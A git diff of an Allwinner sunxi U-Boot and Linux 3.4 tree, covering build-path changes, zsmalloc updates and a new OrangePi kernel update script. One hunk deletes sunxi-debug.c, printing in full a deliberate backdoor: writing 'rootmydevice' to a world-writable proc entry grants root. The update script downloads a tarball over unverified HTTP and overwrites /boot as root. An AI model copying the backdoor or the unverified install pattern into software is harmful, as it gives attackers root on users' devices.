diff --git a/brandy/u-boot-2011.09/Makefile b/brandy/u-boot-2011.09/Makefile index 55116ac0..14926122 100755 --- a/brandy/u-boot-2011.09/Makefile +++ b/brandy/u-boot-2011.09/Makefile @@ -460,15 +460,15 @@ $(obj)u-boot-$(TARGET).bin: $(obj)u-boot.bin @cp $(obj)u-boot.bin $(obj)u-boot-$(CONFIG_TARGET_NAME).bin @if [ -z "$(findstring _nor, $(CONFIG_TARGET_NAME))" ]; then \ if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/u-boot-$(CONFIG_TARGET_NAME).bin; \ + cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/u-boot-$(CONFIG_TARGET_NAME).bin; \ else \ - cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/u-boot-$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ + cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/u-boot-$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ fi \ else \ if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_PLATFORM_NAME)/bin/u-boot-spinor-$(CONFIG_PLATFORM_NAME).bin; \ + cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_PLATFORM_NAME)/bin/u-boot-spinor-$(CONFIG_PLATFORM_NAME).bin; \ else \ - cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_PLATFORM_NAME)/bin/u-boot-spinor-$(CONFIG_PLATFORM_NAME)-$(SUNXI_MODE).bin; \ + cp -v $(obj)u-boot-$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_PLATFORM_NAME)/bin/u-boot-spinor-$(CONFIG_PLATFORM_NAME)-$(SUNXI_MODE).bin; \ fi \ fi @@ -495,41 +495,41 @@ spl_lib: $(TIMESTAMP_FILE) $(VERSION_FILE) depend fes: spl_lib depend $(MAKE) -C sunxi_spl/fes_init all @$(TOPDIR)/tools/gen_check_sum sunxi_spl/fes_init/fes1.bin fes1_$(CONFIG_TARGET_NAME).bin > /dev/null - @cp -v fes1_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/fes1_$(CONFIG_TARGET_NAME).bin + @cp -v fes1_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/fes1_$(CONFIG_TARGET_NAME).bin boot0: spl_lib depend $(MAKE) -C sunxi_spl/boot0 all ifdef CONFIG_STORAGE_MEDIA_NAND @$(TOPDIR)/tools/gen_check_sum sunxi_spl/boot0/boot0_nand.bin boot0_nand_$(TARGET).bin > /dev/null @if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v boot0_nand_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_nand_$(CONFIG_TARGET_NAME).bin; \ + cp -v boot0_nand_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_nand_$(CONFIG_TARGET_NAME).bin; \ else \ - cp -v boot0_nand_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_nand_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ + cp -v boot0_nand_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_nand_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ fi endif ifdef CONFIG_STORAGE_MEDIA_MMC @$(TOPDIR)/tools/gen_check_sum sunxi_spl/boot0/boot0_sdcard.bin boot0_sdcard_$(TARGET).bin > /dev/null @if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v boot0_sdcard_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_sdcard_$(CONFIG_TARGET_NAME).bin; \ + cp -v boot0_sdcard_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_sdcard_$(CONFIG_TARGET_NAME).bin; \ else \ - cp -v boot0_sdcard_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_sdcard_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ + cp -v boot0_sdcard_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_sdcard_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ fi endif ifdef CONFIG_STORAGE_MEDIA_SPINOR @$(TOPDIR)/tools/gen_check_sum sunxi_spl/boot0/boot0_spinor.bin boot0_spinor_$(TARGET).bin > /dev/null @if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v boot0_spinor_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_spinor_$(CONFIG_TARGET_NAME).bin; \ + cp -v boot0_spinor_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_spinor_$(CONFIG_TARGET_NAME).bin; \ else \ - cp -v boot0_spinor_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/boot0_spinor_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ + cp -v boot0_spinor_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/boot0_spinor_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ fi endif sboot: spl_lib depend $(MAKE) -C sunxi_spl/sbrom all @$(TOPDIR)/tools/gen_check_sum sunxi_spl/sbrom/sboot.bin sboot_$(CONFIG_TARGET_NAME).bin > /dev/null @if [ -z "$(findstring $(OTA_TEST_NAME), $(SUNXI_MODE))" ]; then \ - cp -v sboot_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/sboot_$(CONFIG_TARGET_NAME).bin; \ + cp -v sboot_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/sboot_$(CONFIG_TARGET_NAME).bin; \ else \ - cp -v sboot_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../tools/pack/chips/$(CONFIG_TARGET_NAME)/bin/sboot_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ + cp -v sboot_$(CONFIG_TARGET_NAME).bin $(TOPDIR)/../../chips/$(CONFIG_TARGET_NAME)/bin/sboot_$(CONFIG_TARGET_NAME)-$(SUNXI_MODE).bin; \ fi ifeq ($(CONFIG_SUNXI_SECURE_SYSTEM),y) diff --git a/linux-3.4/arch/arm/mach-sunxi/Makefile b/linux-3.4/arch/arm/mach-sunxi/Makefile index 43bd7a6a..7a50c26b 100755 --- a/linux-3.4/arch/arm/mach-sunxi/Makefile +++ b/linux-3.4/arch/arm/mach-sunxi/Makefile @@ -49,7 +49,7 @@ obj-y += sunxi-headsmp.o sunxi-platsmp.o obj-$(CONFIG_HOTPLUG_CPU) += sunxi-hotplug.o endif -obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o sunxi-debug.o +obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o obj-$(CONFIG_SUNXI_TRUSTZONE) += firmware.o obj-$(CONFIG_SUNXI_TRUSTZONE) += sunxi-smc.o diff --git a/linux-3.4/arch/arm/mach-sunxi/power/brom/Makefile b/linux-3.4/arch/arm/mach-sunxi/power/brom/Makefile index 5bce9ee0..647ff804 100755 --- a/linux-3.4/arch/arm/mach-sunxi/power/brom/Makefile +++ b/linux-3.4/arch/arm/mach-sunxi/power/brom/Makefile @@ -5,7 +5,7 @@ targets := resumes.elf #use "-Os" flags. #Don't use "-O2" flags. -KBUILD_CFLAGS := -g -c -nostdlib -march=armv7-a -marm -fno-unwind-tables -fno-asynchronous-unwind-tables -mlittle-endian -O2 --min_array_alignment=4 --no_unaligned_access +KBUILD_CFLAGS := -g -c -nostdlib -march=armv7-a -marm -fno-unwind-tables -fno-asynchronous-unwind-tables -mlittle-endian -O2 -mno-unaligned-access #Include the cur dir. KBUILD_CPPFLAGS += -I. diff --git a/linux-3.4/arch/arm/mach-sunxi/power/brom/resumes.h b/linux-3.4/arch/arm/mach-sunxi/power/brom/resumes.h index 75732563..b3f62016 100755 --- a/linux-3.4/arch/arm/mach-sunxi/power/brom/resumes.h +++ b/linux-3.4/arch/arm/mach-sunxi/power/brom/resumes.h @@ -62,15 +62,15 @@ typedef unsigned int __u32; typedef struct _Resume_file_head { __u32 jump_instruction; // one intruction jumping to real code - __u8 magic[8]; // ="eGON.BT0" or "eGON.BT1", not C-style string. + __u8 magic[8] __attribute__ ((aligned (4))); // ="eGON.BT0" or "eGON.BT1", not C-style string. __u32 check_sum; // generated by PC __u32 length; // generated by PC __u32 pub_head_size; // the size of resume_file_head_t - __u8 pub_head_vsn[4]; // the version of resume_file_head_t - __u8 file_head_vsn[4]; // the version of resume0_file_head_t or resume1_file_head_t - __u8 Resume_vsn[4]; // Resume version - __u8 eGON_vsn[4]; // eGON version - __u8 platform[8]; // platform information + __u8 pub_head_vsn[4] __attribute__ ((aligned (4))); // the version of resume_file_head_t + __u8 file_head_vsn[4] __attribute__ ((aligned (4))); // the version of resume0_file_head_t or resume1_file_head_t + __u8 Resume_vsn[4] __attribute__ ((aligned (4))); // Resume version + __u8 eGON_vsn[4] __attribute__ ((aligned (4))); // eGON version + __u8 platform[8] __attribute__ ((aligned (4))); }resume_file_head_t; extern const resume_file_head_t resume_head; diff --git a/linux-3.4/arch/arm/mach-sunxi/sunxi-debug.c b/linux-3.4/arch/arm/mach-sunxi/sunxi-debug.c deleted file mode 100755 index 53ed9fcd..00000000 --- a/linux-3.4/arch/arm/mach-sunxi/sunxi-debug.c +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Sunxi_debug.c - * - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 as - * published by the Free Software Foundation. - */ -#include -#include -#include -#include - -#include -#include //add by fe3o4 -#include -#include - -static struct proc_dir_entry *proc_root; -static struct proc_dir_entry * proc_su; - - -static int sunxi_proc_su_write(struct file *file, const char __user *buffer, - unsigned long count, void *data) -{ - char *buf; - struct cred *cred; - - if (count < 1) - return -EINVAL; - - buf = kmalloc(count, GFP_KERNEL); - if (!buf) - return -ENOMEM; - - if (copy_from_user(buf, buffer, count)) { - kfree(buf); - return -EFAULT; - } - - if(!strncmp("rootmydevice",(char*)buf,12)){ - cred = (struct cred *)__task_cred(current); - cred->uid = 0; - cred->gid = 0; - cred->suid = 0; - cred->euid = 0; - cred->euid = 0; - cred->egid = 0; - cred->fsuid = 0; - cred->fsgid = 0; - printk("now you are root\n"); - } - - kfree(buf); - return count; -} - - -static int sunxi_proc_su_read(char *page, char **start, off_t off, - int count, int *eof, void *data) -{ - printk("sunxi debug: rootmydevice\n"); - return 0; -} - -static int sunxi_root_procfs_attach(void) -{ - proc_root = proc_mkdir("sunxi_debug", NULL); - proc_su= create_proc_entry("sunxi_debug", 0666, proc_root); - if (IS_ERR(proc_su)){ - printk("create sunxi_debug dir error\n"); - return -1; - } - proc_su->data = NULL; - proc_su->read_proc = sunxi_proc_su_read; - proc_su->write_proc = sunxi_proc_su_write; - return 0; - -} - -static int sunxi_debug_init(void) -{ - int ret; - ret = sunxi_root_procfs_attach(); - printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret); - if(ret){ - printk("===fe3o4== sunxi_root_procfs_attach failed===\n "); - } - return ret; -} - -subsys_initcall(sunxi_debug_init); - - diff --git a/linux-3.4/drivers/gpu/ion/ion_cma_heap.c b/linux-3.4/drivers/gpu/ion/ion_cma_heap.c index 86612c0c..2e95a9d1 100755 --- a/linux-3.4/drivers/gpu/ion/ion_cma_heap.c +++ b/linux-3.4/drivers/gpu/ion/ion_cma_heap.c @@ -48,7 +48,7 @@ struct ion_cma_buffer_info { struct page *dma_alloc_from_contiguous(struct device *dev, int count, unsigned int align); void __dma_clear_buffer(struct page *page, size_t size); -inline pgprot_t __get_dma_pgprot(struct dma_attrs *attrs, pgprot_t prot); +pgprot_t __get_dma_pgprot(struct dma_attrs *attrs, pgprot_t prot); void *__dma_alloc_remap(struct page *page, size_t size, gfp_t gfp, pgprot_t prot, const void *caller); void __dma_remap(struct page *page, size_t size, pgprot_t prot); diff --git a/linux-3.4/drivers/staging/zsmalloc/Kconfig b/linux-3.4/drivers/staging/zsmalloc/Kconfig index 90845656..b0f8d1b9 100644 --- a/linux-3.4/drivers/staging/zsmalloc/Kconfig +++ b/linux-3.4/drivers/staging/zsmalloc/Kconfig @@ -1,5 +1,6 @@ config ZSMALLOC - tristate "Memory allocator for compressed pages" + bool "Memory allocator for compressed pages" + depends on MMU default n help zsmalloc is a slab-based memory allocator designed to store diff --git a/linux-3.4/drivers/staging/zsmalloc/zsmalloc-main.c b/linux-3.4/drivers/staging/zsmalloc/zsmalloc-main.c index 223c7361..e831f39c 100644 --- a/linux-3.4/drivers/staging/zsmalloc/zsmalloc-main.c +++ b/linux-3.4/drivers/staging/zsmalloc/zsmalloc-main.c @@ -141,7 +141,7 @@ * ZS_MIN_ALLOC_SIZE and ZS_SIZE_CLASS_DELTA must be multiple of ZS_ALIGN * (reason above) */ -#define ZS_SIZE_CLASS_DELTA 16 +#define ZS_SIZE_CLASS_DELTA (PAGE_SIZE >> 8) #define ZS_SIZE_CLASSES ((ZS_MAX_ALLOC_SIZE - ZS_MIN_ALLOC_SIZE) / \ ZS_SIZE_CLASS_DELTA + 1) @@ -226,7 +226,7 @@ struct zs_pool { * so that USE_PGTABLE_MAPPING is defined. This causes zsmalloc to use * page table mapping rather than copying for object mapping. */ -#if defined(CONFIG_ARM) +#if defined(CONFIG_ARM) && !defined(MODULE) #define USE_PGTABLE_MAPPING #endif @@ -240,7 +240,6 @@ struct mapping_area { enum zs_mapmode vm_mm; /* mapping mode */ }; - /* per-cpu VM mapping areas for zspage accesses that cross page boundaries */ static DEFINE_PER_CPU(struct mapping_area, zs_map_area); @@ -254,6 +253,87 @@ static int is_last_page(struct page *page) return PagePrivate2(page); } +/* + * A single 'zspage' is composed of many system pages which are + * linked together using fields in struct page. This function finds + * the first/head page, given any component page of a zspage. + */ +static struct page *get_first_page(struct page *page) +{ + if (is_first_page(page)) + return page; + else + return page->first_page; +} + +static struct page *get_next_page(struct page *page) +{ + struct page *next; + + if (is_last_page(page)) + next = NULL; + else if (is_first_page(page)) + next = (struct page *)page->private; + else + next = list_entry(page->lru.next, struct page, lru); + + return next; +} + +static void zs_copy_map_object(char *buf, struct page *firstpage, + int off, int size) +{ + struct page *pages[2]; + int sizes[2]; + void *addr; + + pages[0] = firstpage; + pages[1] = get_next_page(firstpage); + BUG_ON(!pages[1]); + + sizes[0] = PAGE_SIZE - off; + sizes[1] = size - sizes[0]; + + /* disable page faults to match kmap_atomic() return conditions */ + pagefault_disable(); + + /* copy object to per-cpu buffer */ + addr = kmap_atomic(pages[0]); + memcpy(buf, addr + off, sizes[0]); + kunmap_atomic(addr); + addr = kmap_atomic(pages[1]); + memcpy(buf + sizes[0], addr, sizes[1]); + kunmap_atomic(addr); +} + +static void zs_copy_unmap_object(char *buf, struct page *firstpage, + int off, int size) +{ + struct page *pages[2]; + int sizes[2]; + void *addr; + + pages[0] = firstpage; + pages[1] = get_next_page(firstpage); + BUG_ON(!pages[1]); + + sizes[0] = PAGE_SIZE - off; + sizes[1] = size - sizes[0]; + + /* copy per-cpu buffer to object */ + addr = kmap_atomic(pages[0]); + memcpy(addr + off, buf, sizes[0]); + kunmap_atomic(addr); + addr = kmap_atomic(pages[1]); + memcpy(addr, buf + sizes[0], sizes[1]); + kunmap_atomic(addr); + + /* enable page faults to match kunmap_atomic() return conditions */ + pagefault_enable(); +} + + + static void get_zspage_mapping(struct page *page, unsigned int *class_idx, enum fullness_group *fullness) { @@ -405,33 +485,13 @@ static int get_pages_per_zspage(int class_size) } /* - * A single 'zspage' is composed of many system pages which are - * linked together using fields in struct page. This function finds - * the first/head page, given any component page of a zspage. + * Encode as a single handle value. + * On hardware platforms with physical memory starting at 0x0 the pfn + * could be 0 so we ensure that the handle will never be 0 by adjusting the + * encoded obj_idx value before encoding. */ -static struct page *get_first_page(struct page *page) -{ - if (is_first_page(page)) - return page; - else - return page->first_page; -} - -static struct page *get_next_page(struct page *page) -{ - struct page *next; - - if (is_last_page(page)) - next = NULL; - else if (is_first_page(page)) - next = (struct page *)page->private; - else - next = list_entry(page->lru.next, struct page, lru); - - return next; -} - -/* Encode as a single handle value */ + + static void *obj_location_to_handle(struct page *page, unsigned long obj_idx) { unsigned long handle; @@ -442,17 +502,21 @@ static void *obj_location_to_handle(struct page *page, unsigned long obj_idx) } handle = page_to_pfn(page) << OBJ_INDEX_BITS; - handle |= (obj_idx & OBJ_INDEX_MASK); + handle |= ((obj_idx + 1) & OBJ_INDEX_MASK); return (void *)handle; } -/* Decode pair from the given object handle */ +/* + * Decode pair from the given object handle. We adjust the + * decoded obj_idx back to its original value since it was adjusted in + * obj_location_to_handle(). + */ static void obj_handle_to_location(unsigned long handle, struct page **page, unsigned long *obj_idx) { *page = pfn_to_page(handle >> OBJ_INDEX_BITS); - *obj_idx = handle & OBJ_INDEX_MASK; + *obj_idx = (handle & OBJ_INDEX_MASK) - 1; } static unsigned long obj_idx_to_offset(struct page *page, @@ -657,11 +721,8 @@ static inline void __zs_unmap_object(struct mapping_area *area, struct page *pages[2], int off, int size) { unsigned long addr = (unsigned long)area->vm_addr; - unsigned long end = addr + (PAGE_SIZE * 2); - - flush_cache_vunmap(addr, end); - unmap_kernel_range_noflush(addr, PAGE_SIZE * 2); - flush_tlb_kernel_range(addr, end); + + unmap_kernel_range(addr, PAGE_SIZE * 2); } #else /* USE_PGTABLE_MAPPING */ diff --git a/linux-3.4/drivers/staging/zsmalloc/zsmalloc_int.h b/linux-3.4/drivers/staging/zsmalloc/zsmalloc_int.h index 92eefc66..a6f3109c 100644 --- a/linux-3.4/drivers/staging/zsmalloc/zsmalloc_int.h +++ b/linux-3.4/drivers/staging/zsmalloc/zsmalloc_int.h @@ -110,9 +110,8 @@ enum fullness_group { static const int fullness_threshold_frac = 4; struct mapping_area { - struct vm_struct *vm; - pte_t *vm_ptes[2]; - char *vm_addr; + char *vm_buf; /* copy buffer for objects that span pages */ + char *vm_addr; /* address of kmap_atomic()'ed pages */ }; struct size_class { diff --git a/update_kernel.sh b/update_kernel.sh new file mode 100644 index 00000000..dda72fde --- /dev/null +++ b/update_kernel.sh @@ -0,0 +1,200 @@ +#!/bin/bash + +if [ "$(id -u)" != "0" ]; then + echo "Script must be run as root !" + exit 0 +fi + +if [ "${1}" = "test" ]; then + kpackname="opi_kernel-test.tar.gz" +else + kpackname="opi_kernel.tar.gz" +fi + +clear +date +echo -e "\033[36m*********************************************************" +echo "Updating kernel, script.bin and /lib/modules for OrangePI" +echo -e "*********************************************************\033[37m" +setterm -default +echo "" + +echo -n "Do you want to download script&kernel package from server, (y/N)? " +read -n 1 ANSWER + +if [ "${ANSWER}" = "y" ] ; then + echo "." + echo "Downloading the package ..." + mkdir /tmp/script_kernel + wget -O /tmp/script_kernel/${kpackname} http://merkator.pro/${kpackname} + if [ ! -f /tmp/script_kernel/${kpackname} ]; then + echo "" + echo "ERROR downloading the package from server, exiting." + rm -rf /tmp/script_kernel/* + rmdir /tmp/script_kernel + exit 1 + fi + + echo "OK." + echo -n -e "\033[31m\033[1mUpdate kernel, script.bin and /lib/modules (y/N)? " + read -n 1 ANSWER + + echo -e "\033[22m\033[37m" + setterm -default + echo "" + if [ ! "${ANSWER}" = "y" ] ; then + echo "Aborted." + rm -rf /boot/lib/* > /dev/null 2>&1 + rmdir /boot/lib > /dev/null 2>&1 + exit 0 + fi + + clear + mkdir /tmp/script_kernel/files + cd /tmp/script_kernel/files + echo "Unpacking ..." + tar -xf ../${kpackname} + rm -rf /boot/* + cp ./* /boot > /dev/null 2>&1 + if [ -d ./lib ]; then + cp -r ./lib/* /lib > /dev/null 2>&1 + chown -R root:root /lib/modules/* > /dev/null 2>&1 + chown -R root:root /lib/firmware/* > /dev/null 2>&1 + fi + echo "Files unpacked." + cd /tmp + rm -rf /tmp/script_kernel/* + rmdir /tmp/script_kernel +else + echo "OK." + exit 0 +fi + + +echo "==============================================" +echo -e "\033[36mSelect the OrangePI board you want to upgrade:" +setterm -default +echo " 1 OrangePI 2" +echo " 2 OrangePI PLUS" +echo " 3 OrangePI PC" + +echo -n "? " +read -n 1 ANSWER + +echo -e "\033[31m\033[1m" +if [ "${ANSWER}" = "1" ] ; then + echo "Updating OrangePI 2" + _kernel="_OPI-2" + _script="OPI-2" +elif [ "${ANSWER}" = "2" ] ; then + echo "Updating OrangePI PLUS" + _kernel="_OPI-PLUS" + _script="OPI-PLUS" +elif [ "${ANSWER}" = "3" ] ; then + echo "Updating OrangePI PC" + _kernel="_OPI-2" + _script="OPI-PC" +else + echo "No valid board selected, exiting." + rm -rf /boot/lib/* > /dev/null 2>&1 + rmdir /boot/lib > /dev/null 2>&1 + echo -e "\033[22m\033[37m" + exit 0 +fi + +echo -e "\033[22m\033[37m" +setterm -default +echo "===============================" +echo -e "\033[36mSelect hdmi display resolution:" +setterm -default +echo " 1 1080p 60Hz" +echo " 2 1080p 50Hz" +echo " 3 720p 60Hz" +echo " 4 720p 50Hz" + +echo -n "? " +read -n 1 ANSWER + +echo "" +echo -e "\033[31m\033[1m" +if [ "${ANSWER}" = "1" ] ; then + echo "Selected 1080p 60Hz" + _resol="_1080p60" +elif [ "${ANSWER}" = "2" ] ; then + echo "Selected 1080p 50Hz" + _resol="_1080p50" +elif [ "${ANSWER}" = "3" ] ; then + echo "Selected 720p 60Hz" + _resol="_720p60" +elif [ "${ANSWER}" = "4" ] ; then + echo "Selected 720p 50Hz" + _resol="_720p50" +else + echo "No valid board selected, exiting." + rm -rf /boot/lib/* > /dev/null 2>&1 + rmdir /boot/lib > /dev/null 2>&1 + echo -e "\033[22m\033[37m" + setterm -default + exit 0 +fi + +echo -e "\033[22m\033[37m" +setterm -default +echo "=====================================" +echo -n -e "\033[36mDo you have HDMI->DVI adapter, (y/N)? " +read -n 1 ANSWER + +echo -e "\033[31m\033[1m" +if [ "${ANSWER}" = "y" ] ; then + echo "HDMI->DVI interface selected" + _hdmi="_dvi" +else + echo "HDMI interface selected" + _hdmi="_hdmi" +fi + +echo -e "\033[22m\033[37m" +setterm -default + +echo "================" +echo -n "CONTINUE, (y/N)? " +read -n 1 ANSWER + +echo "" +if [ "${ANSWER}" != "y" ] ; then + echo "Aborting." + exit 0 +fi + +if [ ! -f /boot/uImage${_kernel} ]; then + echo -e "\033[31m\033[1m" + echo "ERROR: kernel file \"/boot/uImage${_kernel}\" not found, exiting." + echo -e "\033[22m\033[37m" + setterm -default + exit 1 +fi + +_fatdir=$(mount | grep /dev/mmcblk0p1 | awk '{print $3}') + +if [ ! -d ${_fatdir} ]; then + echo "" + echo "Fat partition not mounted, exiting." +fi + +cp ${_fatdir}/uImage ${_fatdir}/uImage.bak +cp /boot/uImage${_kernel} ${_fatdir}/uImage + +if [ ! -f /boot/script.bin.${_script}${_resol}${_hdmi} ]; then + echo "" + echo "ERROR: config file \"/boot/script.bin.${_script}${_resol}${_hdmi}\" not found." +else + cp ${_fatdir}/script.bin ${_fatdir}/script.bin.bak + cp /boot/script.bin.${_script}${_resol}${_hdmi} ${_fatdir}/script.bin +fi + +echo -e "\033[36m" +echo "kernel, script.bin and /lib/modules updated, please REBOOT." +echo "AFTER REBOOT RUN: sudo depmod -a" +echo "===========================================================" +echo -e "\033[22m\033[37m" +setterm -default \ No newline at end of file